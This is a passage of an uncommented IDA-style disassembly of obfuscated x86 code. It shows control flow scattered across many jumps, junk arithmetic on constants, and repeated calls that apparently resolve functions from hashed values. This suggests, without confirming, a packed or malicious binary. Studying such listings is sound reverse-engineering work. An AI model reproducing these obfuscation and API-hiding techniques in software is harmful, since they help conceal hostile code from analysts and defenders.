; END OF FUNCTION CHUNK FOR sub_428788 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C09 loc_42361F: ; CODE XREF: sub_426C09:loc_424891j jl loc_428DA6 jmp loc_425E6E ; END OF FUNCTION CHUNK FOR sub_426C09 ; =============== S U B R O U T I N E ======================================= sub_42362A proc near ; CODE XREF: hjohnhn9:00423A93j ; sub_426F5A-1324p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0042911D SIZE 00000005 BYTES xchg esi, [esp+0] pop esi xchg edx, [esp-4+arg_0] ror eax, 12h mov ds:dword_428B18, eax jmp loc_42911D sub_42362A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42363F proc near ; CODE XREF: sub_42897Bj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00424860 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424B8A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00424FB4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00425C7D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 004265C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426FB8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FC7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427491 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004279BB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004289FD SIZE 00000007 BYTES push ebp loc_423640: ; CODE XREF: hjohnhn9:loc_427480j mov ebp, esp push ecx jmp loc_4279BB sub_42363F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423648: ; CODE XREF: sub_423B05+43EBj js loc_427BFB test edx, ebp jmp loc_423C5B ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_423655 proc near ; CODE XREF: sub_424B30+Ap ; hjohnhn9:00424CC3j xchg ecx, [esp+0] pop ecx loc_423659: ; CODE XREF: sub_423B05:loc_423C5Bj mov esp, ebp pop ebp retn sub_423655 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426F5A loc_42365D: ; CODE XREF: sub_426F5A-30B0j jmp loc_425C33 ; END OF FUNCTION CHUNK FOR sub_426F5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423662: ; CODE XREF: sub_424631:loc_427DB3j cmp dword ptr [ebp-10h], 1 jnz loc_428C75 jmp loc_428C5E ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42636C loc_423671: ; CODE XREF: sub_42636C+Bj xor ecx, 322A975Dh add ecx, 0BFC07BFDh xor ecx, 5EE2BF7Dh add ecx, 26B6512Fh mov [ecx], eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42636C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_42368D: ; CODE XREF: sub_424631-14A9j jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42851A loc_423692: ; CODE XREF: sub_42851A-1D45j rol eax, 11h jmp loc_42471C ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42369A: ; CODE XREF: sub_4287BF:loc_423022j mov [ebp-8], eax push offset sub_4250FC jmp nullsub_109 ; END OF FUNCTION CHUNK FOR sub_4287BF ; =============== S U B R O U T I N E ======================================= sub_4236A7 proc near ; DATA XREF: hjohnhn9:00428A0Ao ; FUNCTION CHUNK AT 00423087 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004232B4 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004238EB SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00423BF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424BAE SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00424F57 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425D7B SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042706D SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00429027 SIZE 0000000B BYTES push ebp pop edx xchg edx, [esp+0] mov ebp, esp push ecx push ebp mov eax, [ebp+8] mov ecx, [eax] jmp loc_423BF6 sub_4236A7 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_52. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_4236BB: ; CODE XREF: sub_423BC3+1Fj jz loc_42782B sub eax, 4DABBFC6h pushf jmp loc_426A84 ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- mov ds:dword_428AF0, eax cmp ds:dword_428AF0, 0 jnz loc_426FAD jmp loc_427FE8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_4236E4: ; CODE XREF: sub_423D67:loc_423CC8j or edi, 4F1F9639h xor edi, 0A0E06186h xchg edi, [esp+0] push ebx push eax jmp loc_423201 ; END OF FUNCTION CHUNK FOR sub_423D67 ; --------------------------------------------------------------------------- dw 0E6C1h dd 6D830F15h, 0E8FFFFFAh, 47Ch, 2A108A0Fh, 0D2F70000h ; CODE XREF: sub_426D6A+17j ; hjohnhn9:00426D4Aj dd 5A486852h, 815A70AEh, 9A6ACACAh, 0E1EA813Ch, 810E56BBh dd 0A875E1C2h, 2C4FE9FDh, 0C870000h, 0C875924h, 0FDD6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426749 loc_42373A: ; CODE XREF: sub_426749+1ACCj xor edx, edx call sub_427AEB loc_423741: ; CODE XREF: sub_426749+2709j mov eax, ds:dword_426E6C mov [ebp-4], eax push offset sub_426C5D jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_426749 ; =============== S U B R O U T I N E ======================================= sub_423753 proc near ; CODE XREF: sub_4260BD:loc_426D9Dp ; hjohnhn9:00428E2Dj ; FUNCTION CHUNK AT 00425CF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427229 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428BAA SIZE 00000002 BYTES xchg ecx, [esp+0] pop ecx cmp dword ptr [ebp-8], 0 jz loc_427951 jmp loc_425CF5 sub_423753 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_423767: ; CODE XREF: sub_4287BF+1Cj jmp loc_429061 ; END OF FUNCTION CHUNK FOR sub_4287BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426CE6 loc_42376C: ; CODE XREF: sub_426CE6+1701j jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_426CE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_423771: ; CODE XREF: sub_425BD2+666j ; sub_427C9B+D57j ror eax, 11h mov ds:dword_428B08, eax retn ; END OF FUNCTION CHUNK FOR sub_427C9B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_42377B: ; CODE XREF: sub_426A78-1987j ; sub_427BCE:loc_427380j push offset sub_42442F jmp nullsub_33 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278DC loc_423785: ; CODE XREF: sub_4278DC+270j ror eax, 0Bh push ecx push 76B591BBh pop ecx or ecx, 536FC631h jmp loc_428571 ; END OF FUNCTION CHUNK FOR sub_4278DC ; --------------------------------------------------------------------------- loc_42379A: ; CODE XREF: hjohnhn9:loc_4237EFj mov edx, 0A22F8A70h call sub_427C53 mov ds:dword_425AE8, eax call sub_424877 mov edx, 0A2CD59D9h call sub_427C53 jmp loc_427C4D ; --------------------------------------------------------------------------- loc_4237BD: ; DATA XREF: sub_426354:loc_426E12o inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_4252DC[eax*4] mov [ebp-8], eax push offset sub_427A07 jmp locret_426EF8 ; --------------------------------------------------------------------------- sbb eax, 0F87F5BB0h jmp sub_427AC0 ; --------------------------------------------------------------------------- mov ebx, [ecx] jmp loc_426BF7 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42304F loc_4237EA: ; CODE XREF: sub_42304F+4389j jmp loc_427102 ; END OF FUNCTION CHUNK FOR sub_42304F ; --------------------------------------------------------------------------- loc_4237EF: ; CODE XREF: hjohnhn9:0042351Aj jmp loc_42379A ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4237F4 proc near ; CODE XREF: sub_423B05+40FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004233E6 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423963 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004243D4 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00424A46 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424C46 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0042680E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426B24 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B2F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427DD2 SIZE 00000014 BYTES push ebp mov ebp, esp push ecx mov esp, ebp jmp loc_426B24 sub_4237F4 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_68. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423801: ; CODE XREF: hjohnhn9:00428491j jmp loc_427775 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427032 loc_423806: ; CODE XREF: sub_427032+10j jmp loc_424480 ; END OF FUNCTION CHUNK FOR sub_427032 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424A78 loc_42380B: ; CODE XREF: sub_424A78+233Dj jmp loc_427637 ; END OF FUNCTION CHUNK FOR sub_424A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42841F loc_423810: ; CODE XREF: sub_42841F-4708j jmp loc_427B02 ; END OF FUNCTION CHUNK FOR sub_42841F ; --------------------------------------------------------------------------- loc_423815: ; DATA XREF: sub_4278EC+5D2o call sub_425EA9 mov edx, 0E5254649h call sub_427C53 mov ds:dword_423944, eax jmp loc_426D87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278EC loc_42382E: ; CODE XREF: sub_4278EC:loc_427EABj cmp ds:dword_423944, 0 jmp loc_4279E8 ; END OF FUNCTION CHUNK FOR sub_4278EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_42383A: ; CODE XREF: sub_425CB3-17FAj mov ecx, edx xchg ecx, [esp+0] push ecx push 0ED5F6B35h pop ecx jmp loc_427B97 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_19. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42384C: ; CODE XREF: sub_42466E+Fj jmp loc_425091 ; END OF FUNCTION CHUNK FOR sub_42466E ; =============== S U B R O U T I N E ======================================= sub_423851 proc near ; DATA XREF: sub_428838+Fo jnz loc_4287D2 push offset sub_4287BF jmp nullsub_111 sub_423851 endp ; --------------------------------------------------------------------------- shr edx, 4 adc edi, 1359C0Ah jmp sub_428B28 ; --------------------------------------------------------------------------- js loc_426992 jmp sub_4275B2 ; =============== S U B R O U T I N E ======================================= sub_42387A proc near ; CODE XREF: hjohnhn9:00426F80j ; sub_427AC0+8F4p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00426685 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004270DD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004271B3 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax xchg esi, [esp-4+arg_0] push ecx push 0B4C94AD3h pop ecx sub ecx, 0FA202DA4h and ecx, 24F87E95h jmp loc_4271B3 sub_42387A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428447 loc_423899: ; CODE XREF: sub_428447+12j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_428447 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_42389B: ; CODE XREF: sub_4262C5:loc_42761Cj mov eax, [ebp-4] cmp byte ptr [eax], 0 jnz loc_424E63 mov eax, [ebp-8] loc_4238AA: ; CODE XREF: sub_427C9B:loc_426176j mov byte ptr [eax], 0 mov esp, ebp jmp loc_423F0B ; END OF FUNCTION CHUNK FOR sub_4262C5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4238B5: ; CODE XREF: sub_423B05+4104j jmp loc_423222 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_4238BA: ; CODE XREF: sub_426354-2FFEj mov edi, [ecx] xor ebp, esi shr edx, 7 loc_4238C1: ; CODE XREF: hjohnhn9:loc_423542j adc esi, 528F26C2h jmp loc_427951 ; END OF FUNCTION CHUNK FOR sub_426354 ; =============== S U B R O U T I N E ======================================= sub_4238CC proc near ; CODE XREF: sub_424335:loc_425147p ; hjohnhn9:00426703j ; FUNCTION CHUNK AT 00425FFE SIZE 0000001B BYTES xchg edi, [esp+0] pop edi push eax push 9A99E2F0h pop eax add eax, 0DA55A7E8h sub eax, 0BC0F8EC2h rol eax, 15h jmp loc_425FFE sub_4238CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_4238EB: ; CODE XREF: sub_4236A7-60Dj add ebx, 8083061h add eax, ebx pop ebx mov edi, [eax] add eax, 4 jmp loc_4232B4 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_4238FE: ; CODE XREF: sub_424698:loc_424F4Dj or eax, eax jnz loc_428E1B jmp loc_424153 ; END OF FUNCTION CHUNK FOR sub_424698 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_42390C: ; CODE XREF: sub_427AC0:loc_424251j push eax loc_42390D: ; CODE XREF: hjohnhn9:loc_425DDEj push 89045525h pop eax rol eax, 11h test eax, 2 jmp loc_423B3E ; END OF FUNCTION CHUNK FOR sub_427AC0 ; =============== S U B R O U T I N E ======================================= sub_423921 proc near ; DATA XREF: sub_4241E1+7o mov eax, [ebp-8] mov esp, ebp pop ebp retn sub_423921 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_423928: ; CODE XREF: sub_424698+15CDj jmp loc_425001 ; END OF FUNCTION CHUNK FOR sub_424698 ; =============== S U B R O U T I N E ======================================= sub_42392D proc near ; CODE XREF: sub_4282F8-3B0Ep ; sub_427D9D:loc_424EE0p ... ; FUNCTION CHUNK AT 00424E36 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00428AE8 SIZE 00000005 BYTES jns sub_424E4F push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_428AE8 sub_42392D endp ; --------------------------------------------------------------------------- dw 0F9BDh dword_423940 dd 0 ; DATA XREF: hjohnhn9:00423C4Ar ; sub_427A36-1792r ... dword_423944 dd 77E79F93h ; DATA XREF: sub_4235D8+4w ; hjohnhn9:00423824w ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_423948: ; CODE XREF: sub_4278B9+18j jmp loc_42340D ; END OF FUNCTION CHUNK FOR sub_4278B9 ; --------------------------------------------------------------------------- db 2Fh, 1Ch, 0C1h dword_423950 dd 0 ; DATA XREF: sub_424161-1035r ; sub_425F93+4w ... dword_423954 dd 0 ; DATA XREF: sub_428788-5170r ; hjohnhn9:loc_423A05r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D38 loc_423958: ; CODE XREF: sub_424D38+3D7Ej jmp nullsub_74 ; END OF FUNCTION CHUNK FOR sub_424D38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_42395D: ; CODE XREF: sub_428477:loc_4267ECj jge loc_424ACA ; END OF FUNCTION CHUNK FOR sub_428477 ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_423963: ; CODE XREF: sub_4237F4+3341j jmp loc_424A46 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- xchg ecx, ebx xor esi, 659A1899h mov [ecx], edx jmp loc_424AC9 ; --------------------------------------------------------------------------- loc_423977: ; CODE XREF: hjohnhn9:004269E1j jg loc_4235C4 adc esi, eax jmp loc_42632C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424928 loc_423984: ; CODE XREF: sub_424928+3D17j ; sub_424928+3D28j or esi, 0FC4A9892h add esi, 1663DA1h xchg esi, [esp+0] jmp loc_428696 ; END OF FUNCTION CHUNK FOR sub_424928 ; --------------------------------------------------------------------------- push offset sub_424B97 jmp loc_4290E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423E64 loc_4239A2: ; CODE XREF: sub_423E64+3471j pushf ror ecx, 1Eh loc_4239A6: ; CODE XREF: sub_423E64:loc_423CF0j push offset sub_427440 jmp locret_4232D0 ; END OF FUNCTION CHUNK FOR sub_423E64 ; --------------------------------------------------------------------------- loc_4239B0: ; CODE XREF: hjohnhn9:loc_423408j cmp eax, [ebp-14h] jb loc_426B3A mov eax, [ebp-10h] mov eax, [eax+64h] add eax, [ebp-14h] cmp eax, [ebp-0Ch] ja loc_42300D jmp loc_426B3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428477 loc_4239D0: ; CODE XREF: sub_428477:loc_4252C8j mov [ebp+var_4], eax loc_4239D3: ; CODE XREF: sub_423E64+Cj ; sub_4260BD-12FCj ... dec ds:dword_4233C4 mov eax, [ebp+var_4] push offset loc_4281A2 jmp loc_424E8F ; END OF FUNCTION CHUNK FOR sub_428477 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_4239E7: ; CODE XREF: hjohnhn9:00427685j jmp sub_428192 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427994 loc_4239EC: ; CODE XREF: sub_427994:loc_4261F1j sub eax, 505B6FF8h xor eax, 82A55006h add eax, ebp add eax, 0A9B1D40h jmp loc_42678E ; END OF FUNCTION CHUNK FOR sub_427994 ; --------------------------------------------------------------------------- loc_423A05: ; DATA XREF: sub_423425+4EB4o cmp ds:dword_423954, 0 jnz loc_42879B call nullsub_2 call sub_424877 mov edx, 0CF0182F6h call sub_427C53 jmp loc_42846D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423A2B: ; CODE XREF: sub_423B05-A2Aj jp loc_427BF3 loc_423A31: ; CODE XREF: sub_423B05:loc_4230CEj call sub_424877 mov edx, 3CC6743Ch call sub_4279ED jmp loc_428C49 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- js loc_423DAF jmp sub_423BC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423A50: ; CODE XREF: sub_4260BD:loc_427431j push 538ACF62h pop ebx sub ebx, 4907E7DAh or ebx, 0B92D1335h xor ebx, 1E0EA8B3h add ebx, ebp add ebx, 5A5EA0EEh jmp loc_42498B ; END OF FUNCTION CHUNK FOR sub_4260BD ; =============== S U B R O U T I N E ======================================= sub_423A75 proc near ; CODE XREF: sub_427564+13B9j ; FUNCTION CHUNK AT 00426C69 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004271B8 SIZE 00000017 BYTES push ebx push 482FEEA0h or ebx, esi jmp loc_426C69 sub_423A75 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423A82: ; CODE XREF: sub_42325E:loc_4276F7j jz loc_42520B jmp loc_426F50 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- js loc_424CD3 jmp sub_42362A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427564 loc_423A98: ; CODE XREF: sub_427564:loc_428B22j sub edx, 9C16CC78h jns loc_428912 jz loc_423D06 jmp loc_427D81 ; END OF FUNCTION CHUNK FOR sub_427564 ; =============== S U B R O U T I N E ======================================= sub_423AAF proc near ; CODE XREF: sub_4265CD:loc_424449j ; sub_4265CD-857j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004246BB SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428027 SIZE 00000005 BYTES push ebp mov ebp, esi xchg ebp, [esp+4+var_4] push 0FC272739h pop esi sub esi, 945F967Eh or esi, 1A7F9951h sub esi, 0F7809293h jmp loc_4246BB sub_423AAF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424698 loc_423AD2: ; CODE XREF: sub_424698+42A8j jz loc_428E07 add ebp, 40DAFCE5h or ebx, 44198AFDh loc_423AE4: ; CODE XREF: sub_427994:loc_427904j call sub_4245BA ; END OF FUNCTION CHUNK FOR sub_424698 ; START OF FUNCTION CHUNK FOR sub_425029 loc_423AE9: ; CODE XREF: sub_425029:loc_42737Bj add [ebp-8], eax call sub_42865B loc_423AF1: ; CODE XREF: hjohnhn9:0042664Aj test ebx, eax jmp loc_428823 ; END OF FUNCTION CHUNK FOR sub_425029 ; --------------------------------------------------------------------------- push esi add esi, 61FD5CF9h jmp sub_428838 ; --------------------------------------------------------------------------- loc_423B04: ; CODE XREF: hjohnhn9:00425F8Ej pop ecx ; =============== S U B R O U T I N E ======================================= sub_423B05 proc near ; CODE XREF: sub_4270CF+583p ; FUNCTION CHUNK AT 004230CE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00423222 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004233E1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423505 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00423648 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004238B5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A2B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00423C5B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00424414 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00424B45 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004250B4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425252 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00425E64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004263DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004275E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427A44 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427BF3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00427EE2 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004285EB SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0042862B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00428C49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D80 SIZE 00000023 BYTES xchg eax, [esp+0] pop eax mov esp, ebp pop ebp mov eax, ds:dword_428398 or eax, eax jnz loc_424414 jmp loc_424B45 sub_423B05 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423B1F: ; CODE XREF: sub_4262C5:loc_423F0Bj call sub_424E5D loc_423B24: ; CODE XREF: sub_424631:loc_428BE3j cdq rol eax, 11h jmp loc_428B61 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- or edi, 0E54D5516h jmp loc_42432F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423B39: ; CODE XREF: hjohnhn9:00424281j jmp locret_4232E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427AC0 loc_423B3E: ; CODE XREF: sub_427AC0-41A4j jmp loc_424D04 ; END OF FUNCTION CHUNK FOR sub_427AC0 ; --------------------------------------------------------------------------- push ebx mov ebx, edi ; START OF FUNCTION CHUNK FOR sub_42325E loc_423B46: ; CODE XREF: sub_42325E:loc_424E6Bj xchg ebx, [esp+0] mov edi, eax jmp loc_423DF6 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_423B50: ; CODE XREF: sub_424161+43A4j push eax call sub_426708 push 724752F0h xchg ebp, [esp+0Ch+var_C] jmp loc_426655 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_423B63: ; DATA XREF: sub_423CCD:loc_427288o add dword ptr [ebp-8], 2 jmp loc_426996 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423B6C proc near ; CODE XREF: sub_424A78+19Ep ; sub_427FCE+4p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426C2E SIZE 00000013 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_426C2E sub_423B6C endp ; --------------------------------------------------------------------------- push eax mov eax, ebx push offset sub_425C4B jmp loc_425D6A ; =============== S U B R O U T I N E ======================================= sub_423B84 proc near ; CODE XREF: sub_424161-1D5j xchg ecx, [esp+0] pop ecx add ebx, 82E94C6Ah mov [ebx], eax pop ebx retn sub_423B84 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D0E loc_423B92: ; CODE XREF: sub_428D0E-ECj jmp loc_4277C5 ; END OF FUNCTION CHUNK FOR sub_428D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278F6 loc_423B97: ; CODE XREF: sub_4278F6+9j jmp nullsub_32 ; END OF FUNCTION CHUNK FOR sub_4278F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423B9C: ; CODE XREF: sub_426708-544j ; sub_424631+3B0Bj call sub_427166 loc_423BA1: ; CODE XREF: sub_423B05+175Ej mov [edx-10h], eax inc dword ptr [ebp-4] mov eax, [ebp+8] mov eax, [eax-10h] shr eax, 6 mov [ebp-10h], eax jmp loc_426650 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_423BB8: ; CODE XREF: sub_42466E+571j jg loc_424033 jmp loc_424008 ; END OF FUNCTION CHUNK FOR sub_42466E ; =============== S U B R O U T I N E ======================================= sub_423BC3 proc near ; CODE XREF: hjohnhn9:00423A4Bj ; sub_427440+4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00423388 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 004236BB SIZE 00000012 BYTES ; FUNCTION CHUNK AT 004241BE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042465F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00424C7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424FE3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425F6E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004260F9 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00426A84 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042713A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427825 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00427A7E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428C84 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00428F9F SIZE 00000020 BYTES xchg ebx, [esp+0] pop ebx push 0CA17F4Ah pop edx rol edx, 15h and edx, 5FE7D04h xor edx, 107BF9A6h test edx, 10h jmp loc_4236BB sub_423BC3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423369 loc_423BE7: ; CODE XREF: sub_423369+1Aj mov [ecx+0B8h], eax pop ecx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_423369 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4260BD loc_423BF1: ; CODE XREF: sub_4260BD+2F7Cj jmp loc_426EE5 ; END OF FUNCTION CHUNK FOR sub_4260BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_423BF6: ; CODE XREF: sub_4236A7+Ej jmp loc_425D7B ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- loc_423BFB: ; DATA XREF: sub_423369+14o xor eax, eax jmp loc_424728 ; 